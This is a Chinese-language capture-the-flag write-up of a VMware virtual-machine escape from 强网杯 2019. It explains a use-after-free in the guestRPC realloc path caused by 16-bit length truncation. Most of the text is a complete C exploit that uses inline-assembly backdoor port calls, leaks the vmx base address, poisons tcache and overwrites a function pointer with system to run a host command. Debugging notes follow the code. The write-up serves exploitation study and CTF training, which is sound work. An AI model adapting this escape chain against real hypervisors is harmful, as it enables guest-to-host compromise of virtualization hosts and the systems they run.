强网杯2019 虚拟机逃逸分析
0x00 前言
初次分析虚拟机逃逸,之前分析了一篇rwctf2018,这次视线转到强网杯的一个虚拟机逃逸分析。难度比rw大一点点,但是逆向分析还是重点,所以也不会差到哪里去。
一些有关基础的链接放在这里,不做赘述。
0x01 分析
bindiff
这类题目都会给一个patched的vmx文件,安装vmware后,在/usr/lib/vmware/bin
目录下可以找到目标vmx。使用bindiff比较patched和patch之前的区别可以迅速定位漏洞的位置。
(bindiff分析太慢了,这次选择了010)
有三处不同,ida定位到关键位置。
一处把r12d改成了r12w,相当于省略了r12的高位。
把跳转的条件改为了大于等于。
跳转改为了无条件。
最后一个改变,取消了条件检查,前两处patch改变如下。
本能的反应就是realloc函数的漏洞,这类题在常规pwn中很常见,realloc函数第二个size参数如果为0,则和free效果一样,常常会导致DF、UAF.接下来细看一下伪代码。
ida分析
Vmx漏洞依然位于guestRPC的处理函数中,该函数中使用了一个大的switch处理不同的信息。接下来详细分析。(虚拟机逃逸(一)中只给了分析的结构体)
关于一些基础知识可以看[虚拟机逃逸(一)]()
Open_RPC_channel
这是switch下最简单的一个分支了,打开信道,内容就是简单的接受数据包,然后获得magicnum(这部分是调试得到的)
magicnum会进行一个比较如果失败就直接退出。
Send_RPC_command_length
首先判断byte_FE9584
,也是一个魔数,接着就判断长度。
长度为-1或者大于0x10000就会报错。如果RPCI的长度符合就会继续往下走。!
在这个判断中,比较56和21偏移处的值,v56为接收到的数据包,v21为现有长度,如果数据长度大于现有长度则realloc重新分配,设置空间大小为新的大小,且修改msg_struct。
漏洞就出在这个部分。漏洞存在的比较隐秘,大体属于整形溢出。
此处,处理size的时候加入了LOWORD修饰,导致dword->word高位失去,所以如果设置v56=0xffff则可以通过大小判断,然后LOWORD(0xffff+1)=LOWORD(0x10000)=0,则此时的realloc第二个参数为0,运行时重新回收ptr。也没有清0.导致了ptr的UAF利用。
Send_RPC_command_data
首先读入了需要发送的data指令,然后读取RPCI结构体,根据前面设置的长度,以不同的方式发送msg,一次最多发送四个字节,四个字节以内发送的方式都是一个byte一个byte的复制。
发送完指令之后,判断是否发送完,如果发送完了则进入指令处理,根据一个类似虚表的bss段指针,执行某个函数rw2018中,最后就是劫持了这样一个函数,让我们成功逃逸。
处理完之后,flag标志为设置为1.具体的指令可以搜索字符串,之前分析的rw2018中也有相应的分析,这里就不赘述。
Recieve_RPC_reply_length
guest获得,返回的长度,逻辑简单。
Recieve_RPC_reply_data
执行指令之后返回的数据。
逻辑和发送差不多,同样的先收到长度,然后判断长度,一次接受四个字节,然后再把数据转移到缓冲区。最后设置flag为发送完毕。
Finish_receiving_RPC_reply & Close_RPC_channel
这两个部分也较为简单,前者在rw2018详细分析过,后者就是close channel。同时设置flag为1,整个指令处理发送接收流程结束。
漏洞利用
前面说过了,漏洞存在于realloc中,利用该UAF可以造成泄露等操作。实际上leak和利用的思路还是和rw差不多的。
此处的UAF位置在realloc环节也就是设置发送长度的环节,但是造成UAF leak虚表还是需要先设置一个0x100大小的缓冲区。
- 开启channel A channel B
- A设置buffer为0x100, B 使用info get也设置为0x100
- 然后set_len触发A漏洞,B get这个buffer,A再次触发漏洞。此时B 的buffer已经在tcache里了
- 调用dnd_vison函数写入虚表
- leak
漏洞利用也是和rw一样,直接tcache劫持即可
0x02 exp
主要的流程还是复制rw2018的,改动少部分即可。还是对师傅的脚本分析
leak函数
完整的channel 0 发送指令
channel发送部分info get
free channel 0 的buffer,然后在channel 1realloc出来。
再次free
dnd_verison打入虚表
tcache劫持操作也是一样的,只是改掉了触发的位置。
#include <stdio.h>
#include <stdint.h>
void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x49435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
);
}
void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0001001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
);
}
void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movq %%rcx,%%r11\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
"movl %%ebx,(%%r11)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
);
}
void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
);
}
void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x21,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_close(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
struct channel{
int cookie1;
int cookie2;
int num;
};
uint64_t heap =0;
uint64_t text =0;
void run_cmd(char *cmd){
struct channel tmp;
int res,len,i;
char *data;
channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res);
channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i+=4){
channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res);
}
printf("recv data:%s\n",data);
channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res);
if(!res){
printf("fail to recv finish\n");
}
channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res);
if(!res){
printf("fail to close channel\n");
return;
}
}
void leak(){
struct channel chan[10];
int res=0;
int len,i;
char pay[8192];
char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *data;
char *s2 = "info-get guestinfo.a";
char *s21= "info-get guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *s4 = "tools.capability.dnd_version 4";
char *s5 = "vmx.capability.dnd_version";
//init data
run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);
run_cmd(s4);
//first step
channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),&res);//strlen(s21) = 0x100
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),s2,&res);
channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i++){
channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
}
printf("recv data:%s\n",data);
//second step free the reply and let the other channel get it.
channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&res);
if(!res){
printf("fail to send data\n");
return;
}
//free the output buffer
//printf("Freeing the buffer....,bp:0x5555556DD3EF\n");
printf("now let's free\n");
channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
if(!res){
printf("fail to recv finish1\n");
return;
}
printf("then alloc channel 1\n");
//finished sending the command, should get the freed buffer
printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n");
channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&s2[16],&res);
if(!res){
printf("fail to send data\n");
return;
}
printf("check if channel 1's buffer == channel 0's buffer\n");
//third step,free it again
//set status to be 4
//free the output buffer
printf("Free the buffer again...\n");
channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
if(!res){
printf("fail to recv finish2\n");
return;
}
printf("check the heap, our target buffer in tcache now!\nTrying to reuse the buffer as a struct, which we can leak..\n");
run_cmd(s5);
printf("Should be done.Check the buffer\n");
//Now the output buffer of chan[1] is used as a struct, which contains many addresses
channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i+=4){
channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&res);
}
printf("recv data:\n");
for(i=0;i<len;i+=8){
printf("recv data:%lx\n",*(long long *)&data[i]);
}
text = (*(uint64_t *)data)-0xf818d0;
channel_recv_finish(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
printf("Leak Success\n");
}
void exploit(){
//the exploit step is almost the same as the leak ones
struct channel chan[10];
int res=0;
int len,i;
char *data;
char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char *s2 = "info-get guestinfo.b";
char *s3 = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char *s4 = "gnome-calculator\x00";
uint64_t pay1 =text+0xFE95B8;
uint64_t pay2 =text+0xECFE0; //system
uint64_t pay3 =text+0xFE95C8;
char *pay4 = "gnome-calculator\x00";
//run_cmd(s1);
channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),s1,&res);
channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i+=4){
channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
}
printf("recv data:%s\n",data);
channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_open(&chan[2].cookie1,&chan[2].cookie2,&chan[2].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_open(&chan[3].cookie1,&chan[3].cookie2,&chan[3].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
printf("this time free firstly\n");
getchar();
channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
if(!res){
printf("fail to recv finish2\n");
return;
}
printf("already free check the heap\n");
getchar();
printf("alloc for channel 1\n");
getchar();
channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&res);
if(!res){
printf("fail to set len\n");
return;
}
printf("leak2 success\n");
getchar();
printf("free agin for UAF\n");
getchar();
channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
if(!res){
printf("fail to recv finish2\n");
return;
}
printf("UAF done!\n");
getchar();
printf("ready to change fd\n");
getchar();
channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&pay1,&res);
printf("hjacking!!\n");
getchar();
channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&res);
if(!res){
printf("fail to set len\n");
return;
}
printf("target address in fd\n");
getchar();
channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&res);
channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay2,&res);
channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay3,&res);
channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&res);
printf("success!\n");
getchar();
run_cmd(s4);
if(!res){
printf("fail to set len\n");
return;
}
}
void main(){
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdin,0,2,0);
leak();
printf("text base :%p",text);
getchar();
getchar();
exploit();
}
0x03 调试
把断点放在realloc的位置,方便查看realloc后的堆布局。
在第一次free的位置看到了目标chunk,0x7f797803a890
,这个chunk就是我们要复用的chunk。此次realloc结束,应该被挂进tcache。
整个chunk的内容,可以看到大小是0x115,这里不知道为啥,连地址都没对齐。
单步执行之后,看到被挂进tcache的chunk。当channel 1,alloc取出这块chunk的时候,没有触发到realloc,直接走过去了。所以没断下来。因该在if的判断位置加一个断点,查看堆布局的。
不过此时可以看一下目标chunk的内容,有没有被改变。
可以看到被挂上了熟悉的fd,但是却没有在相应的tcache里面,则可以推断,该chunk已经是alloc状态了。
继续执行,第二次free。
此次realloc依然触发free。
chunk被挂进了tcache,然后下一步执行dnd_version应该会把chunk取出,然后把虚表指针写入。
成功写入,接下来就是改写system的过程。
channel 0的第一次free,记住chunk地址,0x7fa59c028e20,然后和leak一眼,对channel 1的UAF。
劫持成功,但是此时tcache中却看不到,可能heapinfo有点问题。
计算偏移后,目标位置被打入tcache的fd中,然后就是常规利用。把该内存malloc出来。然后写入system
成功写入system,继续执行,然后弹出计算器。
0x05 思考
emm,调试总是遇到一些问题,有时候挂上gdb,leak出来的基址就不对了。。。离谱,不知道为什么。想到的办法是,先发送完payload,然后再attach上去,exp和leak部分分开调试。
还有虚拟机的vmx,移动的时候,权限关系,可能导致打不开虚拟机,只有使用sudo vmware才可以打开,不过这样打开的虚拟机,最后可以成功leak和执行,但是弹不出计算器,也就是命令执行失败,报错报了虚拟化错误,搞了好久没解决,最后也是莫名其妙的突然解决了。
两个vm类型的虚拟机逃逸收获很大,逆向的基础牢固了许多,realworld类的题目和CTF还是有很多差别,前者需要很好的逆向功底和对目标的熟悉,后者更多是技巧上的利用。
- 本文作者: 就叫16385吧
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1678
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!